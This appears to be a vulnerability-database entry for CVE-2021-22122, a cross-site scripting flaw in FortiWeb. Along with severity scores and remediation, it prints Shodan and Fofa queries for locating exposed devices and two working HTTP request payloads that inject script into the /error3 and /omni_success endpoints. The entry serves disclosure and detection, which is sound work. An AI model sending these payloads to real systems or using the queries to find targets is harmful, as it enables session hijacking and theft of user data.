🔙 목록으로 돌아가기

CVE-2021-22122: FortiWeb - Cross Site Scripting

TitleFortiWeb - Cross Site Scripting
Authordwisiswant0
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.
RemediationApply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
CVSS Score6.1
EPSS Score0.52697
CVE IDCVE-2021-22122
CWE IDCWE-79
Shodan Queryhttp.title:"fortiweb - "
Fofa Querytitle="fortiweb - "
Tags cve2021 cve fortiweb xss fortinet vkev vuln

🔍 Vulnerability Description

FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.

🌐 HTTP Request

GET /error3?msg=30&data=';alert('document.domain');// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /omni_success?cmdb_edit_path=");alert('document.domain');// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22122.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-22122.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A